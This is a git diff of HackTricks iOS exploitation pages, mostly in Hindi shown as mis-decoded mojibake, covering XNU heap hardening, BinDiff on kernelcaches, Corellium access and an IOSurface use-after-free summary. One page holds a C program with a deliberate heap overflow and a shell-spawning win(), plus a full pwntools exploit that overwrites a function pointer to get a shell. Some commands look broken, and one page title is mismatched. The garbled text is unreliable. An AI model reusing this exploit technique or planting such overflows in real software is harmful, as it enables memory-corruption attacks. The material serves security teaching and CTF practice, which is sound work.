рдмрдЧрд▓ рдореЗрдВ рдмреИрда рд╕рдХрддреЗ рдереЗред +- **Now**: +- Kernel objects рдЕрдм **typed zones** (`kalloc_type`) рд╕реЗ allocate рд╣реЛрддреЗ рд╣реИрдВред +- рд╣рд░ object type (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `ipc_port_t`, `task_t`, `OSString`, `OSData`) рдХреА рдЕрдкрдиреА dedicated zone рд╣реЛрддреА рд╣реИ, рднрд▓реЗ рд╡реЗ same size рд╣реА рдХреНрдпреЛрдВ рди рд╣реЛрдВред +- object type тЖФ zone рдХреЗ рдмреАрдЪ mapping compile time рдкрд░ **kalloc_type system** рд╕реЗ generate рд╣реЛрддреА рд╣реИред + +рдПрдХ attacker рдЕрдм рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдХрд┐ controlled data (`OSData`) рд╕рдВрд╡реЗрджрдирд╢реАрд▓ kernel objects (`task_t`) рдХреЗ рд╕рд╛рде adjacent рд╣реЛ рдЬрд╛рдПрдБ, рднрд▓реЗ рдЙрдирдХрд╛ size рд╕рдорд╛рди рд╣реЛред + +### 2. Slabs and Per-CPU Caches +- heap рдХреЛ **slabs** рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (memory рдХреЗ pages рдЬрд┐рдиреНрд╣реЗрдВ рдЙрд╕ zone рдХреЗ fixed-size chunks рдореЗрдВ рдХрд╛рдЯрд╛ рдЧрдпрд╛ рд╣реИ)ред +- рд╣рд░ zone рдореЗрдВ contention рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **per-CPU cache** рд╣реЛрддрд╛ рд╣реИред +- Allocation path: +1. рдкрд╣рд▓реЗ per-CPU cache рдХреЛ рдЪреЗрдХ рдХрд░реЗрдВред +2. рдЕрдЧрд░ рдЦрд╛рд▓реА рд╣реЛ рддреЛ global freelist рд╕реЗ рд▓реЗрдВред +3. рдЕрдЧрд░ freelist рдЦрд╛рд▓реА рд╣реЛ рддреЛ рдирдпрд╛ slab (рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ pages) allocate рдХрд░реЗрдВред +- **Benefit**: рдпрд╣ decentralization heap sprays рдХреЛ рдХрдо deterministic рдмрдирд╛рддреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ allocations рдЕрд▓рдЧ-рдЕрд▓рдЧ CPUsтАЩ caches рд╕реЗ рдкреВрд░реА рд╣реЛ рд╕рдХрддреА рд╣реИрдВред + +### 3. Randomization inside zones +- рдПрдХ zone рдХреЗ рднреАрддрд░, freed elements рдХреЛ simple FIFO/LIFO order рдореЗрдВ рд╡рд╛рдкрд╕ рдирд╣реАрдВ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ред +- Modern XNU **encoded freelist pointers** рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рддрд╛ рд╣реИ (safe-linking рдЬреИрд╕рд╛ Linux рдореЗрдВ, ~iOS 14 рд╕реЗ introduce рд╣реБрдЖ)ред +- рд╣рд░ freelist pointer рдХреЛ рдПрдХ per-zone secret cookie рдХреЗ рд╕рд╛рде **XOR-encode** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- рдЗрд╕рд╕реЗ attacker write primitive рдорд┐рд▓рдиреЗ рдкрд░ рднреА fake freelist pointer forge рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ред +- рдХреБрдЫ allocations рдХреЛ slab рдХреЗ рднреАрддрд░ рдЙрдирдХреЗ placement рдореЗрдВ **randomize** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП spraying adjacency рдХреА рдЧрд╛рд░рдВрдЯреА рдирд╣реАрдВ рджреЗрддреАред + +### 4. Guarded Allocations +- рдХреБрдЫ critical kernel objects (рдЬреИрд╕реЗ credentials, task structures) рдХреЛ **guarded zones** рдореЗрдВ allocate рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- рдпреЗ zones slabs рдХреЗ рдмреАрдЪ **guard pages** (unmapped memory) insert рдХрд░рддреЗ рд╣реИрдВ рдпрд╛ objects рдХреЗ рдЪрд╛рд░реЛрдВ рдУрд░ **redzones** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред +- guard page рдореЗрдВ рдХрд┐рд╕реА рднреА overflow рд╕реЗ fault trigger рд╣реЛрддрд╛ рд╣реИ тЖТ silent corruption рдХреЗ рдмрдЬрд╛рдп immediate panicред + +### 5. Page Protection Layer (PPL) and SPTM +- рднрд▓реЗ рд╣реА рдЖрдк рдПрдХ freed object рдХреЛ control рдХрд░ рд▓реЗрдВ, рдЖрдк kernel memory рдХрд╛ рд╕рдм рдХреБрдЫ modify рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ: +- **PPL (Page Protection Layer)** рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ regions (рдЬреИрд╕реЗ code signing data, entitlements) kernel рдХреЛ рднреА **read-only** рд░рд╣рддреЗ рд╣реИрдВред +- **A15/M2+ devices** рдкрд░ рдпрд╣ ьЧнэХа **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)** рд╕реЗ рдмрджрд▓рд╛/рдмрдврд╝рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред +- рдпреЗ hardware-enforced layers attackers рдХреЛ рдПрдХ single heap corruption рд╕реЗ critical security structures рдХреА arbitrary patching рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддреЗ рд╣реИрдВред + +### 6. Large Allocations +- рд╕рднреА allocations `kalloc_type` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд╣реАрдВ рдЬрд╛рддреАрдВред +- рдмрд╣реБрдд рдмрдбрд╝реЗ requests (~16KB рд╕реЗ рдКрдкрд░) typed zones рдХреЛ bypass рдХрд░ рдХреЗ рд╕реАрдзреЗ **kernel VM (kmem)** рд╕реЗ page allocations рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ serve рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред +- рдпреЗ рдХрдо predictable рд╣реЛрддреЗ рд╣реИрдВ, рдкрд░ рдХрдо exploitable рднреА рд╣реЛрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдЕрдиреНрдп objects рдХреЗ рд╕рд╛рде slabs share рдирд╣реАрдВ рдХрд░рддреЗред + +### 7. Allocation Patterns Attackers Target +рдЗрди protections рдХреЗ рдмрд╛рд╡рдЬреВрдж, attackers рдЕрднреА рднреА рдЗрди рдЪреАрдЬрд╝реЛрдВ рдХреЛ рдЦреЛрдЬрддреЗ рд╣реИрдВ: +- **Reference count objects**: рдЕрдЧрд░ рдЖрдк retain/release counters рдореЗрдВ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд░ рд╕рдХреЗрдВ, рддреЛ use-after-free рдкреИрджрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +- **Objects with function pointers (vtables)**: рдХрд┐рд╕реА рдПрдХ рдХреЛ corrupt рдХрд░рдирд╛ рдЕрднреА рднреА control flow рджреЗрддрд╛ рд╣реИред +- **Shared memory objects (IOSurface, Mach ports)**: рдпреЗ рдЕрднреА рднреА attack targets рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдпреЗ user тЖФ kernel рдХреЛ bridge рдХрд░рддреЗ рд╣реИрдВред + +рдкрд░ тАФ рдкрд╣рд▓реЗ рдХреА рддрд░рд╣ тАФ рдЖрдк рдмрд╕ `OSData` spray рдХрд░рдХреЗ рдпрд╣ рдЙрдореНрдореАрдж рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдХрд┐ рд╡рд╣ `task_t` рдХреЗ рдмрдЧрд▓ рдореЗрдВ рдЖрдПрдЧрд╛ред рдЕрдм рдЖрдкрдХреЛ рд╕рдлрд▓рддрд╛ рдХреЗ рд▓рд┐рдП **type-specific bugs** рдпрд╛ **info leaks** рдХреА рдЬрд╝рд░реВрд░рдд рд╣реЛрддреА рд╣реИред + +### Example: Allocation Flow in Modern Heap + +Suppose userspace calls into IOKit to allocate an `OSData` object: + +1. **Type lookup** тЖТ `OSData` maps to `kalloc_type_osdata` zone (size 64 bytes). +2. Check per-CPU cache for free elements. +- If found тЖТ return one. +- If empty тЖТ go to global freelist. +- If freelist empty тЖТ allocate a new slab (page of 4KB тЖТ 64 chunks of 64 bytes). +3. Return chunk to caller. + +**Freelist pointer protection**: +- Each freed chunk stores the address of the next free chunk, but encoded with a secret key. +- Overwriting that field with attacker data wonтАЩt work unless you know the key. + + +## Comparison Table + +| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** | +|---------------------------------|------------------------------------------------------------|--------------------------------------------------| +| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) | +| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) | +| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) | +| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard тАФ typed zones separate attacker objects | +| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages | +| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks | + +## (Old) Physical Use-After-Free via IOSurface + +{{#ref}} +ios-physical-uaf-iosurface.md +{{#endref}} + +--- + +## Ghidra Install BinDiff + +Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it. + +Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and isntall it even if there is a version mismatch. + +### Using BinDiff with Kernel versions + +1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files. +2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on: + +{{#ref}} +../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +{{#endref}} + +3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches. +4. Open each kernelcache so they are automatically analyzed by Ghidra. +5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them. +6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache. + +--- + +## Finding the right XNU version + +If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel). + +For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`. + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md new file mode 100644 index 000000000..9484941f5 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md @@ -0,0 +1,78 @@ +# iOS: Corellium рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХреИрд╕реЗ рдХрд░реЗрдВ + +{{#include ../../banners/hacktricks-training.md}} + +## **рдкреВрд░реНрд╡ рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ** +- рдПрдХ Corellium iOS VM (jailbroken рдпрд╛ рдирд╣реАрдВ)ред рдЗрд╕ рдЧрд╛рдЗрдб рдореЗрдВ рд╣рдо рдорд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ Corellium рддрдХ рдкрд╣реБрдВрдЪ рд╣реИред +- Local tools: **ssh/scp**. +- (Optional) **SSH keys** added to your Corellium project for passwordless logins. + + +## **localhost рд╕реЗ iPhone VM рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ** + +### A) **Quick Connect (no VPN)** +0) рдЕрдкрдирд╛ ssh key **`/admin/projects`** рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ (рдЕрдиреБрд╢рдВрд╕рд┐рдд). +1) Device page тЖТ **Connect** +2) **Copy the Quick Connect SSH command** рдЬреЛ Corellium рджрд┐рдЦрд╛рддрд╛ рд╣реИ, рдЙрд╕реЗ рдХреЙрдкреА рдХрд░реЗрдВ рдФрд░ рдЕрдкрдиреЗ terminal рдореЗрдВ рдкреЗрд╕реНрдЯ рдХрд░реЗрдВ. +3) рдкрд╛рд╕рд╡рд░реНрдб рджрд░реНрдЬ рдХрд░реЗрдВ рдпрд╛ рдЕрдкрдиреА key рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдЕрдиреБрд╢рдВрд╕рд┐рдд). + +### B) **VPN тЖТ direct SSH** +0) рдЕрдкрдирд╛ ssh key **`/admin/projects`** рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ (рдЕрдиреБрд╢рдВрд╕рд┐рдд). +1) Device page тЖТ **CONNECT** тЖТ **VPN** тЖТ `.ovpn` рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдХрд┐рд╕реА рднреА VPN client рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ рдЬреЛ TAP mode рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реЛред (рдпрджрд┐ рдЖрдкрдХреЛ рд╕рдорд╕реНрдпрд╛ рд╣реИ рддреЛ рджреЗрдЦреЗрдВ [https://support.corellium.com/features/connect/vpn]) +2) VM рдХреЗ **10.11.x.x** address рдкрд░ SSH рдХрд░реЗрдВ: +```bash +ssh root@10.11.1.1 +``` +## **рдПрдХ native binary рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ execute рдХрд░реЗрдВ** + +### 2.1 **рдЕрдкрд▓реЛрдб** +- рдпрджрд┐ Quick Connect рдиреЗ рдЖрдкрдХреЛ host/port рджрд┐рдпрд╛ рд╣реИ: +```bash +scp -J ./mytool root@10.11.1.1:/var/root/mytool +``` +- рдпрджрд┐ VPN (10.11.x.x) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ: +```bash +scp ./mytool -J root@10.11.1.1:/var/root/mytool +``` +## **iOS рдРрдк (.ipa) рдЕрдкрд▓реЛрдб рдФрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ** + +### Path A тАФ **Web UI (рд╕рдмрд╕реЗ рддреЗрдЬрд╝)** +1) Device рдкреЗрдЬ тЖТ **Apps** рдЯреИрдм тЖТ **Install App** тЖТ рдЕрдкрдиреА `.ipa` рдЪреБрдиреЗрдВ. +2) рдЙрд╕реА рдЯреИрдм рд╕реЗ рдЖрдк **launch/kill/uninstall** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ. + +### Path B тАФ **Corellium Agent рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ Scripted** +1) API Agent рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **upload** рдлрд┐рд░ **install** рдХрд░реЗрдВ: +```js +// Node.js (pseudo) using Corellium Agent +await agent.upload("./app.ipa", "/var/tmp/app.ipa"); +await agent.install("/var/tmp/app.ipa", (progress, status) => { +console.log(progress, status); +}); +``` +### Path C тАФ **Non-jailbroken (proper signing / Sideloadly)** +- рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ provisioning profile рдирд╣реАрдВ рд╣реИ, рддреЛ **Sideloadly** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреЗ Apple ID рдХреЗ рд╕рд╛рде re-sign рдХрд░реЗрдВ, рдпрд╛ Xcode рдореЗрдВ рд╕рд╛рдЗрди рдЗрди рдХрд░реЗрдВред +- рдЖрдк VM рдХреЛ **USBFlux** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Xcode рдХреЗ рд▓рд┐рдП expose рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рджреЗрдЦреЗрдВ ┬з5). + + +- SSH рдХреЗ рдмрд┐рдирд╛ рддреНрд╡рд░рд┐рдд logs/commands рдХреЗ рд▓рд┐рдП, UI рдореЗрдВ рдбрд┐рд╡рд╛рдЗрд╕ **Console** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред + +## **рдЕрддрд┐рд░рд┐рдХреНрдд** + +- **Port-forwarding** (рдЕрдиреНрдп рдЯреВрд▓реНрд╕ рдХреЗ рд▓рд┐рдП VM рдХреЛ рд╕реНрдерд╛рдиреАрдп рдЬреИрд╕рд╛ рдорд╣рд╕реВрд╕ рдХрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП): +```bash +# Forward local 2222 -> device 22 +ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1 +# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/ +``` +- **LLDB remote debugging**: рдбрд┐рд╡рд╛рдЗрд╕ рдкреЗрдЬ рдХреЗ рдирд┐рдЪрд▓реЗ рднрд╛рдЧ рдкрд░ рджрд┐рдЦрд╛рдП рдЧрдП **LLDB/GDB stub** рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (CONNECT тЖТ LLDB). + +- **USBFlux (macOS/Linux)**: VM рдХреЛ **Xcode/Sideloadly** рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдХреЗрдмрд▓ рд╕реЗ рдЬреБрдбрд╝реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдХреА рддрд░рд╣ рдкреНрд░рд╕реНрддреБрдд рдХрд░реЗрдВ. + + +## **рд╕рд╛рдорд╛рдиреНрдп рд╕рдорд╕реНрдпрд╛рдПрдБ** +- **Proper signing** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ **non-jailbroken** devices рдкрд░; unsigned IPAs рд▓реЙрдиреНрдЪ рдирд╣реАрдВ рд╣реЛрдВрдЧреЗред +- **Quick Connect vs VPN**: Quick Connect рд╕рдмрд╕реЗ рд╕рд░рд▓ рд╣реИ; рдЬрдм рдЖрдкрдХреЛ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдЕрдкрдиреЗ рд▓реЛрдХрд▓ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдЪрд╛рд╣рд┐рдП (e.g., local proxies/tools) рддреЛ **VPN** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред +- **No App Store** Corellium devices рдкрд░ рд╣реИ; рдЕрдкрдиреЗ (re)signed IPAs рд╕рд╛рде рд▓рд╛рдПрдБред + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md new file mode 100644 index 000000000..6f4711eb2 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md @@ -0,0 +1,205 @@ +# iOS Corellium рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХреИрд╕реЗ рдХрд░реЗрдВ + +{{#include ../../banners/hacktricks-training.md}} + +## Vuln Code +```c +#define _GNU_SOURCE +#include +#include +#include +#include + +__attribute__((noinline)) +static void safe_cb(void) { +puts("[*] safe_cb() called тАФ nothing interesting here."); +} + +__attribute__((noinline)) +static void win(void) { +puts("[+] win() reached тАФ spawning shell..."); +fflush(stdout); +system("/bin/sh"); +exit(0); +} + +typedef void (*cb_t)(void); + +typedef struct { +cb_t cb; // <--- Your target: overwrite this with win() +char tag[16]; // Cosmetic (helps make the chunk non-tiny) +} hook_t; + +static void fatal(const char *msg) { +perror(msg); +exit(1); +} + +int main(void) { +// Make I/O deterministic +setvbuf(stdout, NULL, _IONBF, 0); + +// Print address leak so exploit doesn't guess ASLR +printf("[*] LEAK win() @ %p\n", (void*)&win); + +// 1) Allocate the overflow buffer +size_t buf_sz = 128; +char *buf = (char*)malloc(buf_sz); +if (!buf) fatal("malloc buf"); +memset(buf, 'A', buf_sz); + +// 2) Allocate the hook object (likely adjacent in same magazine/size class) +hook_t *h = (hook_t*)malloc(sizeof(hook_t)); +if (!h) fatal("malloc hook"); +h->cb = safe_cb; +memcpy(h->tag, "HOOK-OBJ", 8); + +// A tiny bit of noise to look realistic (and to consume small leftover holes) +void *spacers[16]; +for (int i = 0; i < 16; i++) { +spacers[i] = malloc(64); +if (spacers[i]) memset(spacers[i], 0xCC, 64); +} + +puts("[*] You control a write into the 128B buffer (no bounds check)."); +puts("[*] Enter payload length (decimal), then the raw payload bytes."); + +// 3) Read attacker-chosen length and then read that many bytes тЖТ overflow +char line[64]; +if (!fgets(line, sizeof(line), stdin)) fatal("fgets"); +unsigned long n = strtoul(line, NULL, 10); + +// BUG: no clamp to 128 +ssize_t got = read(STDIN_FILENO, buf, n); +if (got < 0) fatal("read"); +printf("[*] Wrote %zd bytes into 128B buffer.\n", got); + +// 4) Trigger: call the hook's callback +puts("[*] Calling h->cb() ..."); +h->cb(); + +puts("[*] Done."); +return 0; +} +``` +рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рд╕реЗ рдХрдВрдкрд╛рдЗрд▓ рдХрд░реЗрдВ: +```bash +clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c +``` +## Exploit + +> [!WARNING] +> рдпрд╣ exploit env variable `MallocNanoZone=0` рд╕реЗрдЯ рдХрд░ рд░рд╣рд╛ рд╣реИ рддрд╛рдХрд┐ NanoZone рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╣реЛред рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рддрд╛рдХрд┐ рдЫреЛрдЯреЗ рдЖрдХрд╛рд░ рдкрд░ `malloc` рдХреЙрд▓ рдХрд░рдиреЗ рдкрд░ adjacent allocations рдорд┐рд▓реЗрдВред рдЗрд╕рдХреЗ рдмрд┐рдирд╛ рдЕрд▓рдЧ-рдЕрд▓рдЧ mallocs рдЕрд▓рдЧ-рдЕрд▓рдЧ zones рдореЗрдВ рдЖрд╡рдВрдЯрд┐рдд рд╣реЛрдВрдЧреЗ рдФрд░ рд╡реЗ рд╕рдиреНрдирд┐рдХрдЯ рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП overflow рдЙрдореНрдореАрдж рдХреЗ рдореБрддрд╛рдмрд┐рдХ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред +```python +#!/usr/bin/env python3 +# Heap overflow exploit for macOS ARM64 CTF challenge +# +# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting +# a function pointer in an adjacent heap chunk. +# +# Key insights: +# 1. macOS uses different heap zones for different allocation sizes +# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout +# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed) +# +from pwn import * +import re +import sys +import struct +import platform + +# Detect architecture and set context accordingly +if platform.machine() == 'arm64' or platform.machine() == 'aarch64': +context.clear(arch='aarch64') +else: +context.clear(arch='amd64') + +BIN = './heap_groom' + +def parse_leak(line): +m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line) +if not m: +log.failure("Couldn't parse leak") +sys.exit(1) +return int(m.group(1), 16) + +def build_payload(win_addr, extra_pad=0): +# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer] +padding = b'A' * 128 +if extra_pad: +padding += b'B' * extra_pad +# Add the win address to overwrite the function pointer +payload = padding + p64(win_addr) +return payload + +def main(): +# On macOS, we need to disable the Nano zone for adjacent allocations +import os +env = os.environ.copy() +env['MallocNanoZone'] = '0' + +# The correct padding with MallocNanoZone=0 is 432 bytes +# This makes the total distance 560 bytes (128 buffer + 432 padding) +# Try the known working value first, then alternatives in case of heap variation +candidates = [ +432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0) +424, # Try slightly less in case of alignment differences +440, # Try slightly more +416, # 16 bytes less +448, # 16 bytes more +0, # Direct adjacency (unlikely but worth trying) +] + +log.info("Starting heap overflow exploit for macOS...") + +for extra in candidates: +log.info(f"Trying extra_pad={extra} with MallocNanoZone=0") +p = process(BIN, env=env) + +# Read leak line +leak_line = p.recvline() +win_addr = parse_leak(leak_line) +log.success(f"win() @ {hex(win_addr)}") + +# Skip prompt lines +p.recvuntil(b"Enter payload length") +p.recvline() + +# Build and send payload +payload = build_payload(win_addr, extra_pad=extra) +total_len = len(payload) + +log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)") + +# Send length and payload +p.sendline(str(total_len).encode()) +p.send(payload) + +# Check if we overwrote the function pointer successfully +try: +output = p.recvuntil(b"Calling h->cb()", timeout=0.5) +p.recvline(timeout=0.5) # Skip the "..." part + +# Check if we hit win() +response = p.recvline(timeout=0.5) +if b"win() reached" in response: +log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}") +log.success("Shell spawned, entering interactive mode...") +p.interactive() +return +elif b"safe_cb() called" in response: +log.info(f"Failed with extra_pad={extra}, safe_cb was called") +else: +log.info(f"Failed with extra_pad={extra}, unexpected response") +except: +log.info(f"Failed with extra_pad={extra}, likely crashed") + +p.close() + +log.failure("All padding attempts failed. The heap layout might be different.") +log.info("Try running the exploit multiple times as heap layout can be probabilistic.") + +if __name__ == '__main__': +main() +``` +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md new file mode 100644 index 000000000..9f3e311cf --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -0,0 +1,215 @@ +# iOS Physical Use-After-Free via IOSurface + +{{#include ../../banners/hacktricks-training.md}} + + +## Physical use-after-free + +рдпрд╣ рд╕рд╛рд░ [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) рдкреЛрд╕реНрдЯ рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ; рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ exploit рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬрд╛рдирдХрд╛рд░реА [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) рдореЗрдВ рдорд┐рд▓рддреА рд╣реИред + +### Memory management in XNU + +iOS рдкрд░ user processes рдХреЗ рд▓рд┐рдП **virtual memory address space** **0x0 рд╕реЗ 0x8000000000** рддрдХ рдлреИрд▓рд╛ рд╣реЛрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпреЗ рдПрдбреНрд░реЗрд╕реЗрд╕ рд╕реАрдзреЗ physical memory рд╕реЗ рдореИрдк рдирд╣реАрдВ рд╣реЛрддреЗред рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, **рдХрд░реНрдиреЗрд▓** virtual рдПрдбреНрд░реЗрд╕ рдХреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ **physical addresses** рдореЗрдВ translate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **page tables** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред + +#### Levels of Page Tables in iOS + +Page tables рддреАрди рд╕реНрддрд░реЛрдВ рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╣реЛрддреЗ рд╣реИрдВ: + +1. **L1 Page Table (Level 1)**: +* рдпрд╣рд╛рдБ рд╣рд░ entry рд╡рд░реНрдЪреБрдЕрд▓ рдореЗрдореЛрд░реА рдХреЗ рдмрдбрд╝реЗ рд░реЗрдВрдЬ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреА рд╣реИред +* рдпрд╣ **0x1000000000 bytes** (рдпрд╛ **256 GB**) рд╡рд░реНрдЪреБрдЕрд▓ рдореЗрдореЛрд░реА рдХреЛ рдХрд╡рд░ рдХрд░рддреА рд╣реИред +2. **L2 Page Table (Level 2)**: +* рдпрд╣рд╛рдБ рдХреА рдПрдХ entry рд╡рд░реНрдЪреБрдЕрд▓ рдореЗрдореЛрд░реА рдХреЗ рдЫреЛрдЯреЗ рдХреНрд╖реЗрддреНрд░ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖рдХрд░ **0x2000000 bytes** (32 MB)ред +* рдпрджрд┐ рдХреЛрдИ L1 entry рдкреВрд░реЗ рдХреНрд╖реЗрддреНрд░ рдХреЛ рдЦреБрдж рдирд╣реАрдВ рдореИрдк рдХрд░ рд╕рдХрддреА рддреЛ рд╡рд╣ рдХрд┐рд╕реА L2 table рдХреА рдУрд░ pointer рдХрд░ рд╕рдХрддреА рд╣реИред +3. **L3 Page Table (Level 3)**: +* рдпрд╣ 